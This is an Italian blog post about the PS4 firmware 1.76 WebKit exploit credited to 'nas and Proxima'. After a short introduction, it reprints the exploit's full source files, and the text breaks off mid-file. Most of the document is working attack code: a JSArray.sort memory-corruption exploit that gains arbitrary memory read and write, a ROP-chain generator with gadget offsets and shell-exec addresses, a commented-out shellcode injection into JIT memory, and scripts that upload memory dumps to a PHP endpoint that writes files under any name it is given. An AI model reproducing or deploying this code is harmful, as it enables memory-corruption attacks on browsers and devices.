exploit PS4 Gli sviluppatori NAS e Proxima hanno recentemento rilasciato il Vita WebKit exploit, che e stato reso compatibile anche con la ps4 Infatti i Developer Proxima e Nas sono riusciti nel port del Webkit exploit che è stato usato sulla PSVITA anche su PS4 con OFW 1.76. Quindi ora i Developer hanno lo strumento per dumpare e analizzare il FW di Ps4 Il loro codice di prova fornisce diversi campioni, tra cui un dumper modulo e qualche strumento per creare codice ROP più avanzata Ovviamente la sony ha gia annuciato per prossima settimana l'uscita imminente del firmware 2.00, per questo online si consiglia di provare il webkit exploit prima di aggiornare la vostra console. I file di questo Webkit Exploit sono: -dir2bin2.py -dump.php -make_rop.py -ps4.php -ps4_dump.html -ps4_dump2.html -ps4_rop2.html Ma andiamo ora ad analizzare i file 1 ad 1 incominciamo con dir2bin2.py: import glob, sys, time, struct def addr_compare(x, y): a1 = int(x.split("-")[1], 16) a2 = int(y.split("-")[1], 16) if(a1 == a2): h1 = int(x.split("-")[2]) h2 = int(y.split("-")[2]) return int(h1 - h2) if(a1-a2) > 0x10000: return int((a1 - a2) / 0x10000) return int(a1 - a2) def get_addr(path): return (path.split("-")[1]) def append_file(inpath, outpath): f = open(inpath,"r") newFile = open(outpath, "a+b") size = 0; for line in f: tempList = line.split(',') for item in tempList: try: newFile.write(struct.pack("<I", int(item.strip(), 16))) except ValueError: print "error in " + inpath + ": " + item break size+=4 f.close() newFile.close() return size files = glob.glob("last_dump/*") sfiles = sorted(files, cmp=addr_compare) #print sfiles stamp = time.time() start_addr = int(get_addr(sfiles[0]), 16) dump_name = str(stamp) + "_0x" + get_addr(sfiles[0]) + ".bin" last_addr = start_addr print get_addr(sfiles[0]) for fname in sfiles: if start_addr != int(get_addr(fname), 16): dump_name = str(stamp) + "_0x" + get_addr(fname) + ".bin" append_file(fname, dump_name) dump.php: <?php $post = file_get_contents('php://input'); $name = $_GET['name']; $f = fopen($name,"w"); fwrite($f, $post); fclose($f); ?> make_rop.py: import os # definition of gadgets #1.71 #gadget_arg = [ 0x00137cbd, 0x003914ca, 0x00101a72, 0x0025d803, 0x000b854d, 0x003bce7a ] #1.71 #gadget_sp = [ 0x0005fbb5 ] #1.76 gadget_arg = [ 0x00137cbd, 0x003914ca, 0x00250df2, 0x002bec0d, 0x000b854d, 0x002bfe89] gadget_sp = [ 0x0005fbb5 ] gadget_rax = [ 0x0002b542 ] gadget_store_rax = [ 0x0000db8b ] # known functions #1.71 function_loop = 0xB39D7 # + wk_base function_machdep = 0x10330 # + libkernel_base function_fopen_s = 0xF00 # + libc_int_base #1.76 function_shellexec = 0x110F0 # + libkernel_base function_open = 0xBA30 # + libkernel_base # strings #1.71 string_machdep_idps = "libkernel_base + " + str(0x22B47) string_w = 0x77 #1.76 string_binsh = "libkernel_base + " + str(0x239A4) # this array will store our "dynamic" rop chain rop_chain = [] # data array rop_data = [] def func_0(base, addr): rop_chain.append("" + base + " + " + str(addr)) def func_1(base, addr, arg1): rop_chain.append("wk_base + " + str(gadget_arg[0])) rop_chain.append(str(arg1)) rop_chain.append("" + base + " + " + str(addr)) def func_2(base, addr, arg1, arg2): rop_chain.append("wk_base + " + str(gadget_arg[1])) rop_chain.append(str(arg2)) rop_chain.append("wk_base + " + str(gadget_arg[0])) rop_chain.append(str(arg1)) rop_chain.append("" + base + " + " + str(addr)) def func_3(base, addr, arg1, arg2, arg3): rop_chain.append("wk_base + " + str(gadget_arg[2])) rop_chain.append(str(arg3)) rop_chain.append("wk_base + " + str(gadget_arg[1])) rop_chain.append(str(arg2)) rop_chain.append("wk_base + " + str(gadget_arg[0])) rop_chain.append(str(arg1)) rop_chain.append("" + base + " + " + str(addr)) def func_4(base, addr, arg1, arg2, arg3, arg4): rop_chain.append("wk_base + " + str(gadget_arg[3])) rop_chain.append(str(arg4)) rop_chain.append("wk_base + " + str(gadget_arg[2])) rop_chain.append(str(arg3)) rop_chain.append("wk_base + " + str(gadget_arg[1])) rop_chain.append(str(arg2)) rop_chain.append("wk_base + " + str(gadget_arg[0])) rop_chain.append(str(arg1)) rop_chain.append("" + base + " + " + str(addr)) def func_5(base, addr, arg1, arg2, arg3, arg4, arg5): rop_chain.append("wk_base + " + str(gadget_arg[4])) rop_chain.append(str(arg5)) rop_chain.append("wk_base + " + str(gadget_arg[3])) rop_chain.append(str(arg4)) rop_chain.append("wk_base + " + str(gadget_arg[2])) rop_chain.append(str(arg3)) rop_chain.append("wk_base + " + str(gadget_arg[1])) rop_chain.append(str(arg2)) rop_chain.append("wk_base + " + str(gadget_arg[0])) rop_chain.append(str(arg1)) rop_chain.append("" + base + " + " + str(addr)) def func_6(base, addr, arg1, arg2, arg3, arg4, arg5, arg6): rop_chain.append("wk_base + " + str(gadget_arg[5])) rop_chain.append(str(arg6)) rop_chain.append("wk_base + " + str(gadget_arg[4])) rop_chain.append(str(arg5)) rop_chain.append("wk_base + " + str(gadget_arg[3])) rop_chain.append(str(arg4)) rop_chain.append("wk_base + " + str(gadget_arg[2])) rop_chain.append(str(arg3)) rop_chain.append("wk_base + " + str(gadget_arg[1])) rop_chain.append(str(arg2)) rop_chain.append("wk_base + " + str(gadget_arg[0])) rop_chain.append(str(arg1)) rop_chain.append("" + base + " + " + str(addr)) def store_result(offset): rop_chain.append("wk_base + " + str(gadget_arg[0])) rop_chain.append(chain_data(offset-8)) rop_chain.append("wk_base + " + str(gadget_store_rax[0])) def setU64var(offset, var): rop_chain.append("wk_base + " + str(gadget_rax[0])) rop_chain.append(var) rop_chain.append("wk_base + " + str(gadget_arg[0])) rop_chain.append(offset + " - 8") rop_chain.append("wk_base + " + str(gadget_store_rax[0])) def chain_data(offset): return "chain_data + " + str(offset) def store_data(offset, data): rop_data.append(str(chain_data(offset)) + ", " + str(data)) def sp_takeover(): print "// point a return address of the stack to our chain" print "setU64to(stack_base + return_va + 8, chain_addr);" print "setU64to(stack_base + return_va, wk_base + " + str(gadget_sp[0]) + ");" def sp_restore(): setU64var("return_va", "old_va") setU64var("return_va + 8", "old_va8") rop_chain.append("wk_base + " + str(gadget_sp[0])) rop_chain.append("return_va") def print_rop(): i=0 print "// store ROP chain" for item in rop_chain: print "setU64to(chain_addr + " + str(i) + ", " + item + ");" i=i+8 def print_data(): i=0 print "// store data" for item in rop_data: print "setU64to(" + str(item) + ");" i=i+8 # build our rop chain # put your calls here :) func_0("wk_base", function_loop) # hang # output the chain print_data() print_rop() sp_takeover() ps4.php : <html> <body> <script src="inc/utils.js"></script> <script src="inc/jquery.js"></script> <script type="text/javascript"> // global vars var _gc, _cnt = 0; function tryExplMac64(att) { try { // // Part 1: getting the Uint32Array object address // // init vars var u32 = new Uint32Array(0x100); var a1 = [0,1,2,3,u32]; var a2 = [0,1,2,3,4]; // right after a1 var a1len = a1.length; var a2len = a2.length; var u32len = u32.length; // protect local vars from GC // for gdb if (!_gc) _gc = new Array(); _gc.push(u32,a1,a2); // declare custom compare function var myCompFunc = function(x,y) { // check for the last call for last two array items if (y == 3 && x == u32) { logAdd("myCompFunc(u32,3)"); // shift() is calling during sort(), what causes the // last array item is written outside the array buffer a1.shift(); } return 0; } // call the vulnerable method - JSArray.sort(...) a1.sort(myCompFunc); // check results: a2.length should be overwritten by a1[4] var len = a2.length; logAdd("a2.length = 0x" + len.toString(16)); if (len == a2len) { logAdd("error: 1"); return 1; } // // Part 2: creating corrupted JSValue which points to the (u32+0x18) address // // modify our compare function myCompFunc = function(x,y) { if (y == 0 && x == 1) { logAdd("myCompFunc(1,0)"); // call shift() again to read the corrupted JSValue from a2.length // into a1[3] on the next sort loop a1.length = a1len; a1.shift(); // modify JSValue a2.length = len + 0x18; } if (y == 3) { logAdd("myCompFunc(x,3)"); // shift it back to access a1[3] a1.unshift(0); } return 0; } a1.sort(myCompFunc); // now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18) var c = a2.length; logAdd("a2.length = 0x" + c.toString(16)); if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; } // // Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h) // // generate dummy JS functions var f, f2, f2offs, f2old, funcs = new Array(30); c = funcs.length; for(var i=0; i < c; i++){ f = new Function("arg", " return 876543210 + " + (_cnt++) + ";"); f.prop2 = 0x12345600 + i; funcs[i] = f; } // generate JIT-code for(var i=c-1; i >= 0; i--) { funcs[i](i); } // prepare objects for the third sort() call var mo = {}; var pd = { set: funcs[0], enumerable:true, configurable:true } var a3 = [0,1,2,a1[3]]; // allocate mo's property storage right after a3's buffer Object.defineProperty(mo, "prop0", pd); for(var i=1; i < 5; i++){ mo["prop"+i] = i; } // protect from GC _gc.push(a3,mo,funcs); // use sort-n-shift technique again myCompFunc = function(x,y) { // check for the last call for two last array items if (y == 2) { logAdd("myCompFunc(a3[3],2)"); // a3[3] will be written over the mo.prop0 object a3.shift(); } return 0; } // overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18 a3.sort(myCompFunc); // u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object. // we should put some valid pointers into GetterSetter u32.prop1 = u32; // GetterSetter.m_structure u32.prop2 = 8; // 8 = JSType.GetterSetterType u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter() // clear corrupted JSValue a1[3] = 0; a3[3] = 0; // overwrite u32.m_impl by some JSFunction object f = funcs[c-5]; pd.set = f; Object.defineProperty(mo, "prop0", pd); // check results: u32.length is taken from f's internals now logAdd("u32.length = 0x" + u32.length.toString(16)); if (u32.length == u32len) { logAdd("error: 3"); return 3; } // // Part 4: getting the JIT-code memory address // // declare aux functions var setU64 = function(offs, val) { u32[offs] = val % 0x100000000; u32[offs+1] = val / 0x100000000; } var getU64 = function(offs) { return u32[offs] + u32[offs+1] * 0x100000000; } var getU32 = function(offs) { return u32[offs]; } var getObjAddr = function(obj) { // write obj into u32 data pd.set.prop2 = obj; // read obj address from u32 return getU64(2); } // get the memory address of u32 var u32addr = getObjAddr(u32); logAdd("u32 address = 0x" + u32addr.toString(16)); // get the memory address of u32[0] (ArrayBufferView.m_baseAddress) var u32base = getObjAddr(pd.set) + 0x20; var u32base0 = u32base; logAdd("u32 base = 0x" + u32base.toString(16)); // on x64 platforms we can't just set u32.length to the huge number // for ability to access arbitrary addresses. We should be able to // modify the u32's buffer pointer on-the-fly. var setBase = function(addr){ if (!f2) { // search for another JSFunction near "f" for(var i=0x12; i < 0x80; i+=0x10){ if ((u32[i] >>> 8) == 0x123456) { f2 = funcs[u32[i] & 0xFF]; f2offs = i - 6; f2old = getU64(f2offs); break; } } logAdd("f2offs = 0x" + f2offs); if (!f2) { return false; } } if (pd.set != f) { pd.set = f; Object.defineProperty(mo, "prop0", pd); u32base = u32base0; } if (addr == null) return true; // this will be the new value for ((ArrayBufferView)u32).m_baseAddress setU64(f2offs, addr); // overwrite ((JSUint32Array)u32).m_impl again pd.set = f2; Object.defineProperty(mo, "prop0", pd); u32base = addr; logAdd("u32 new base = 0x" + u32base.toString(16)); return true; } // read/write the 64-bit value from the custom address var getU64from = function(addr) { if (addr < u32base || addr >= u32base + u32len*4) { if (!setBase(addr)) return 0; } return getU64((addr - u32base) >>> 2); } var setU64to = function(addr,val) { if (addr < u32base || addr >= u32base + u32len*4) { if (!setBase(addr)) return 0; } return setU64((addr - u32base) >>> 2, val); } logAdd("u32 size: 0x" + u32.length.toString(16)); // Get the object table from the origianl heap address // +0x20 is a pointer we can use for some object var xx = getU64from(u32base0+0x20); var yy=0; logAdd("verify base: 0x"+xx.toString(16) ); // // This is the only part you need to modify // // // // First, the heap array has a pointer into a function // in WebKit2. The one I'm using is always at +0x20 from // the original base at +0x20. // 1.70 PS4 = -0x30bf0 is the start of webkit // +0x25C4000 = some data // +0x2414000 = import table // (import table +0x20) = modules table // If this crashes, try it 2-4 more times. It usually will work // xx will be the base address of WebKit2 var xx = <?php print $_GET["base"];?>; setBase(xx); // This is where you set the block dumping size (number of u32) //var maxsize=0x7000; var maxsize=<?php print $_GET["chunk"];?>; // This is where you set how many blocks you want to dump var maxiters=<?php print $_GET["cnt"];?>; for(var bb=0;bb<maxiters;bb++) { var dump_data = ""; for(var aa=0;aa<(maxsize-1);aa++) { // Manually create a string of data dump_data += u32[(bb*maxsize)+aa].toString(16) +","; } dump_data+= u32[(maxsize-1)].toString(16); // Add the last one without a trailing comma logAdd("data to string: finished"); // Currently this has to dump a seperate file per iteration // I tried to concat them all into one file, but I was getting some weird overwriting and missing commas.. // It would be nice to get that fixed though..... fname = "dump.php?name=dump-0x" + xx.toString(16) + "-" + bb; $.ajax({ url : fname, type: "POST", data : dump_data, success: function(data, textStatus, jqXHR) { logAdd("upload: success"); }, error: function (jqXHR, textStatus, errorThrown) { logAdd("upload fail: " + textStatus); } }); } /* // read ((JSFunction)f).m_executable; var jitObj = getU64(4); logAdd("JIT object = 0x" + jitObj.toString(16)); // read ExecutableBase.m_jitCodeForCall jitObj += 0x18; var jitAddr = getU64from(jitObj); logAdd("JIT address = 0x" + jitAddr.toString(16)); if (!jitAddr) { logAdd("error: 4"); return 4; } // // Part 5: payload execution // // create "empty" payload for Mac x64 var payload = U8toU32(new Uint8Array([ // custom part 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, // ... // // payload returns 0x1234 // modify it to ensure that payload works :) 0x48,0xB8,0x34,0x12, 0x00,0x00,0x00,0x00, 0xFF,0xFF, // mov rax, 0xFFFF000000001234 // mandatory part 0x4D,0x8B,0x6D,0xD8, // mov r13, [r13-0x28] // webkit needs this 0xC3, // ret 0x90 // for 4-bytes alignment ])); // make sure that u32.length is enough if (payload.length > u32len) { logAdd("error: u32.length is not enough for payload"); return 5; } // choose some place in f() JIT memory for payload var jaddr = jitAddr + 0x40; jaddr -= jaddr % 4; // modify ((ExecutableBase)f).m_jitCodeForCall setU64to(jitObj, jaddr); logAdd("payload address = 0x" + jaddr.toString(16)); var res; // copy our payload into the f() JIT memory if (!setBase(jaddr)) { logAdd("error: 5"); return 5; } logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD exchangeArrays(payload, u32, 0); try { // call payload res = f(0); }catch(e){ logAdd("Error 5: " + e); } // restore overwritten JIT memory exchangeArrays(payload, u32, 0); //logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD // // Part 6: patching corrupted memory // // restore m_jitCodeForCall setU64to(jitObj, jitAddr); // restore f2 object if (f2old) { setBase(null); setU64(f2offs, f2old); } // delete corrupted property delete mo.prop0; // check that payload returns 0x1234 logAdd((res == 0x1234 ? "Ok:":"Fail:") + " f() = 0x" + res.toString(16)); if (res != 0x1234) { return 9; } // error */ } catch(e) { logAdd(e); } return 0; } // "Start" button onclick handler function btnClick() { try { logAdd("======== Start ========"); // check OS version //if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; } // try several attempts to exploit for(var i=1; i < 5; i++){ logAdd("<br/>Attempt #" + i + ":"); if (tryExplMac64(i) == 0) break; } logAdd("<br/>======== End ========<br/><br/>"); } catch(e) { logAdd(e); } _log = null; } // print environment info writeEnvInfo(); </script> <button style="width:100px;" onclick="btnClick();">Start</button> <br/><br/> <div id="log"></div> </body> </html> ps4_dump.html : <html> <body> <h2>PS4 POC</h2><h3>by nas and Proxima</h3></br> <script src="inc/utils.js"></script> <script src="inc/jquery.js"></script> <script type="text/javascript"> // global vars var _gc, _cnt = 0; function tryExplMac64(att) { try { // // Part 1: getting the Uint32Array object address // // init vars var u32 = new Uint32Array(0x100); var a1 = [0,1,2,3,u32]; var a2 = [0,1,2,3,4]; // right after a1 var a1len = a1.length; var a2len = a2.length; var u32len = u32.length; // protect local vars from GC // for gdb if (!_gc) _gc = new Array(); _gc.push(u32,a1,a2); // declare custom compare function var myCompFunc = function(x,y) { // check for the last call for last two array items if (y == 3 && x == u32) { //logAdd("myCompFunc(u32,3)"); // shift() is calling during sort(), what causes the // last array item is written outside the array buffer a1.shift(); } return 0; } // call the vulnerable method - JSArray.sort(...) a1.sort(myCompFunc); // check results: a2.length should be overwritten by a1[4] var len = a2.length; //logAdd("a2.length = 0x" + len.toString(16)); if (len == a2len) { logAdd("error: 1"); return 1; } // // Part 2: creating corrupted JSValue which points to the (u32+0x18) address // // modify our compare function myCompFunc = function(x,y) { if (y == 0 && x == 1) { //logAdd("myCompFunc(1,0)"); // call shift() again to read the corrupted JSValue from a2.length // into a1[3] on the next sort loop a1.length = a1len; a1.shift(); // modify JSValue a2.length = len + 0x18; } if (y == 3) { //logAdd("myCompFunc(x,3)"); // shift it back to access a1[3] a1.unshift(0); } return 0; } a1.sort(myCompFunc); // now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18) var c = a2.length; //logAdd("a2.length = 0x" + c.toString(16)); if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; } // // Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h) // // generate dummy JS functions var f, f2, f2offs, f2old, funcs = new Array(30); c = funcs.length; for(var i=0; i < c; i++){ f = new Function("arg", " return 876543210 + " + (_cnt++) + ";"); f.prop2 = 0x12345600 + i; funcs[i] = f; } // generate JIT-code for(var i=c-1; i >= 0; i--) { funcs[i](i); } // prepare objects for the third sort() call var mo = {}; var pd = { set: funcs[0], enumerable:true, configurable:true } var a3 = [0,1,2,a1[3]]; // allocate mo's property storage right after a3's buffer Object.defineProperty(mo, "prop0", pd); for(var i=1; i < 5; i++){ mo["prop"+i] = i; } // protect from GC _gc.push(a3,mo,funcs); // use sort-n-shift technique again myCompFunc = function(x,y) { // check for the last call for two last array items if (y == 2) { //logAdd("myCompFunc(a3[3],2)"); // a3[3] will be written over the mo.prop0 object a3.shift(); } return 0; } // overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18 a3.sort(myCompFunc); // u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object. // we should put some valid pointers into GetterSetter u32.prop1 = u32; // GetterSetter.m_structure u32.prop2 = 8; // 8 = JSType.GetterSetterType u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter() // clear corrupted JSValue a1[3] = 0; a3[3] = 0; // overwrite u32.m_impl by some JSFunction object f = funcs[c-5]; pd.set = f; Object.defineProperty(mo, "prop0", pd); // check results: u32.length is taken from f's internals now //logAdd("u32.length = 0x" + u32.length.toString(16)); if (u32.length == u32len) { logAdd("error: 3"); return 3; } // // Part 4: getting the JIT-code memory address // // declare aux functions var setU64 = function(offs, val) { u32[offs] = val % 0x100000000; u32[offs+1] = val / 0x100000000; } var getU64 = function(offs) { return u32[offs] + u32[offs+1] * 0x100000000; } var getU32 = function(offs) { return u32[offs]; } var getObjAddr = function(obj) { // write obj into u32 data pd.set.prop2 = obj; // read obj address from u32 return getU64(2); } // get the memory address of u32 var u32addr = getObjAddr(u32); //logAdd("u32 address = 0x" + u32addr.toString(16)); // get the memory address of u32[0] (ArrayBufferView.m_baseAddress) var u32base = getObjAddr(pd.set) + 0x20; var u32base0 = u32base; //logAdd("u32 base = 0x" + u32base.toString(16)); // on x64 platforms we can't just set u32.length to the huge number // for ability to access arbitrary addresses. We should be able to // modify the u32's buffer pointer on-the-fly. var setBase = function(addr){ if (!f2) { // search for another JSFunction near "f" for(var i=0x12; i < 0x80; i+=0x10){ if ((u32[i] >>> 8) == 0x123456) { f2 = funcs[u32[i] & 0xFF]; f2offs = i - 6; f2old = getU64(f2offs); break; } } if (!f2) { return false; } } if (pd.set != f) { pd.set = f; Object.defineProperty(mo, "prop0", pd); u32base = u32base0; } if (addr == null) return true; // this will be the new value for ((ArrayBufferView)u32).m_baseAddress setU64(f2offs, addr); // overwrite ((JSUint32Array)u32).m_impl again pd.set = f2; Object.defineProperty(mo, "prop0", pd); u32base = addr; //logAdd("u32 new base = 0x" + u32base.toString(16)); return true; } // read/write the 64-bit value from the custom address var getU64from = function(addr) { if (addr < u32base || addr >= u32base + u32len*4) { if (!setBase(addr)) return 0; } return getU64((addr - u32base) >>> 2); } var setU64to = function(addr,val) { if (addr < u32base || addr >= u32base + u32len*4) { if (!setBase(addr)) return 0; } return setU64((addr - u32base) >>> 2, val); } //logAdd("u32 size: 0x" + u32.length.toString(16)); // Get the object table from the origianl heap address // +0x20 is a pointer we can use for some object var xx = getU64from(u32base0+0x20); var yy=0; //logAdd("verify base: 0x"+xx.toString(16) ); // // This is the only part you need to modify // // // // First, the heap array has a pointer into a function // in WebKit2. The one I'm using is always at +0x20 from // the original base at +0x20. // 1.70 PS4 = -0x30bf0 is the start of webkit // +0x25C4000 = some data // +0x2414000 = import table // (import table +0x20) = modules table // If this crashes, try it 2-4 more times. It usually will work // xx will be the base address of WebKit2 xx = (getU64from(xx+0x20)-0x30bf0); logAdd("WebKit2 base address = 0x" + xx.toString(16)); xx += 0x2414000; // Get to the import table setBase(xx); xx = getU64from(xx+0x20); // Get to the module table // Future use: data area somewhere around 0x200500000 setBase(xx); //get libkernel base //xx = getU64from(xx+0xdd8); //get webprocess base //xx = getU64from(xx+0xc18); //get libcinternal base //xx = getU64from(xx+0xf98); //get libsysmodule base //xx = getU64from(xx+0x1158); //get libSysCore base //xx = getU64from(xx+0x2658); //get libSystemService base //xx = getU64from(xx+0x2b98); var i_size = 0x1188; var c_base = getU64from(xx+i_size+0x158); var d_base = getU64from(xx+i_size+0x168); var r_base; var chunk; var cnt; var tmp; var m_cnt = 0; var c_size = getU64from(xx+i_size+0x160) & 0xFFFFFFFF; var d_size = getU64from(xx+i_size+0x170) & 0xFFFFFFFF; var m_info; var gap; while(((c_base != 0) || (d_base != 0)) && (m_cnt < 11)) { if(c_base > d_base) { r_base = d_base; }else{ r_base = c_base; } tmp = ((c_size + d_size) / 4) >> 0; if(tmp > 0x1000){ cnt = ((tmp / 0x1000) >> 0); chunk = (tmp / cnt) >> 0; }else{ cnt = 1; chunk = tmp; } if(d_base != 0) gap = d_base - (c_base + c_size); else gap = 0; m_info = "0x" + c_base.toString(16) + "+0x" + c_size.toString(16) + ", 0x" + d_base.toString(16) + "+0x" + d_size.toString(16) + " gap: 0x" + gap.toString(16); logAdd("<h2><a href='ps4.php?base=0x" + r_base.toString(16) + "&chunk=0x" + chunk.toString(16) + "&cnt=0x" + cnt.toString(16) + "'>module " + m_cnt.toString(10) + "</a></h2><h3>" + m_info + "</h3>"); i_size += 0x1c0; c_base = getU64from(xx+i_size+0x158); d_base = getU64from(xx+i_size+0x168); c_size = getU64from(xx+i_size+0x160) & 0xFFFFFFFF; d_size = getU64from(xx+i_size+0x170) & 0xFFFFFFFF; m_cnt++; } // restore f2 object if (f2old) { setBase(null); setU64(f2offs, f2old); } // delete corrupted property delete mo.prop0; } catch(e) { logAdd(e); } return 0; } // "Start" button onclick handler function btnClick() { try { logAdd("======== Start ========"); // check OS version //if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; } // try several attempts to exploit for(var i=1; i < 5; i++){ logAdd("<br/>Attempt #" + i + ":"); if (tryExplMac64(i) == 0) break; } logAdd("<br/>======== End ========<br/><br/>"); } catch(e) { logAdd(e); } _log = null; } // print environment info writeEnvInfo(); </script> <button style="width:100px;" onclick="btnClick();">Start</button> <br/><br/> <div id="log"></div><br> <a href="ps4_dump2.html">next</a> </body> </html> ps4_dump2.html: <html> <body> <h2>PS4 POC</h2><h3>by nas and Proxima</h3></br> <script src="inc/utils.js"></script> <script src="inc/jquery.js"></script> <script type="text/javascript"> // global vars var _gc, _cnt = 0; function tryExplMac64(att) { try { // // Part 1: getting the Uint32Array object address // // init vars var u32 = new Uint32Array(0x100); var a1 = [0,1,2,3,u32]; var a2 = [0,1,2,3,4]; // right after a1 var a1len = a1.length; var a2len = a2.length; var u32len = u32.length; // protect local vars from GC // for gdb if (!_gc) _gc = new Array(); _gc.push(u32,a1,a2); // declare custom compare function var myCompFunc = function(x,y) { // check for the last call for last two array items if (y == 3 && x == u32) { //logAdd("myCompFunc(u32,3)"); // shift() is calling during sort(), what causes the // last array item is written outside the array buffer a1.shift(); } return 0; } // call the vulnerable method - JSArray.sort(...) a1.sort(myCompFunc); // check results: a2.length should be overwritten by a1[4] var len = a2.length; //logAdd("a2.length = 0x" + len.toString(16)); if (len == a2len) { logAdd("error: 1"); return 1; } // // Part 2: creating corrupted JSValue which points to the (u32+0x18) address // // modify our compare function myCompFunc = function(x,y) { if (y == 0 && x == 1) { //logAdd("myCompFunc(1,0)"); // call shift() again to read the corrupted JSValue from a2.length // into a1[3] on the next sort loop a1.length = a1len; a1.shift(); // modify JSValue a2.length = len + 0x18; } if (y == 3) { //logAdd("myCompFunc(x,3)"); // shift it back to access a1[3] a1.unshift(0); } return 0; } a1.sort(myCompFunc); // now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18) var c = a2.length; //logAdd("a2.length = 0x" + c.toString(16)); if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; } // // Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h) // // generate dummy JS functions var f, f2, f2offs, f2old, funcs = new Array(30); c = funcs.length; for(var i=0; i < c; i++){ f = new Function("arg", " return 876543210 + " + (_cnt++) + ";"); f.prop2 = 0x12345600 + i; funcs[i] = f; } // generate JIT-code for(var i=c-1; i >= 0; i--) { funcs[i](i); } // prepare objects for the third sort() call var mo = {}; var pd = { set: funcs[0], enumerable:true, configurable:true } var a3 = [0,1,2,a1[3]]; // allocate mo's property storage right after a3's buffer Object.defineProperty(mo, "prop0", pd); for(var i=1; i < 5; i++){ mo["prop"+i] = i; } // protect from GC _gc.push(a3,mo,funcs); // use sort-n-shift technique again myCompFunc = function(x,y) { // check for the last call for two last array items if (y == 2) { //logAdd("myCompFunc(a3[3],2)"); // a3[3] will be written over the mo.prop0 object a3.shift(); } return 0; } // overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18 a3.sort(myCompFunc); // u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object. // we should put some valid pointers into GetterSetter u32.prop1 = u32; // GetterSetter.m_structure u32.prop2 = 8; // 8 = JSType.GetterSetterType u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter() // clear corrupted JSValue a1[3] = 0; a3[3] = 0; // overwrite u32.m_impl by some JSFunction object f = funcs[c-5]; pd.set = f; Object.defineProperty(mo, "prop0", pd); // check results: u32.length is taken from f's internals now //logAdd("u32.length = 0x" + u32.length.toString(16)); if (u32.length == u32len) { logAdd("error: 3"); return 3; } // // Part 4: getting the JIT-code memory address // // declare aux functions var setU64 = function(offs, val) { u32[offs] = val % 0x100000000; u32[offs+1] = val / 0x100000000; } var getU64 = function(offs) { return u32[offs] + u32[offs+1] * 0x100000000; } var getU32 = function(offs) { return u32[offs]; } var getObjAddr = function(obj) { // write obj into u32 data pd.set.prop2 = obj; // read obj address from u32 return getU64(2); } // get the memory address of u32 var u32addr = getObjAddr(u32); //logAdd("u32 address = 0x" + u32addr.toString(16)); // get the memory address of u32[0] (ArrayBufferView.m_baseAddress) var u32base = getObjAddr(pd.set) + 0x20; var u32base0 = u32base; //logAdd("u32 base = 0x" + u32base.toString(16)); // on x64 platforms we can't just set u32.length to the huge number // for ability to access arbitrary addresses. We should be able to // modify the u32's buffer pointer on-the-fly. var setBase = function(addr){ if (!f2) { // search for another JSFunction near "f" for(var i=0x12; i < 0x80; i+=0x10){ if ((u32[i] >>> 8) == 0x123456) { f2 = funcs[u32[i] & 0xFF]; f2offs = i - 6; f2old = getU64(f2offs); break; } } if (!f2) { return false; } } if (pd.set != f) { pd.set = f; Object.defineProperty(mo, "prop0", pd); u32base = u32base0; } if (addr == null) return true; // this will be the new value for ((ArrayBufferView)u32).m_baseAddress setU64(f2offs, addr); // overwrite ((JSUint32Array)u32).m_impl again pd.set = f2; Object.defineProperty(mo, "prop0", pd); u32base = addr; //logAdd("u32 new base = 0x" + u32base.toString(16)); return true; } // read/write the 64-bit value from the custom address var getU64from = function(addr) { if (addr < u32base || addr >= u32base + u32len*4) { if (!setBase(addr)) return 0; } return getU64((addr - u32base) >>> 2); } var setU64to = function(addr,val) { if (addr < u32base || addr >= u32base + u32len*4) { if (!setBase(addr)) return 0; } return setU64((addr - u32base) >>> 2, val); } //logAdd("u32 size: 0x" + u32.length.toString(16)); // Get the object table from the origianl heap address // +0x20 is a pointer we can use for some object var xx = getU64from(u32base0+0x20); //logAdd("verify base: 0x"+xx.toString(16) ); // // This is the only part you need to modify // // // // First, the heap array has a pointer into a function // in WebKit2. The one I'm using is always at +0x20 from // the original base at +0x20. // 1.70 PS4 = -0x30bf0 is the start of webkit // +0x25C4000 = some data // +0x2414000 = import table // (import table +0x20) = modules table // If this crashes, try it 2-4 more times. It usually will work // xx will be the base address of WebKit2 xx = (getU64from(xx+0x20)-0x30bf0); logAdd("WebKit2 base address = 0x" + xx.toString(16)); xx += 0x2414000; // Get to the import table setBase(xx); xx = getU64from(xx+0x20); // Get to the module table // Future use: data area somewhere around 0x200500000 setBase(xx); //get libkernel base //xx = 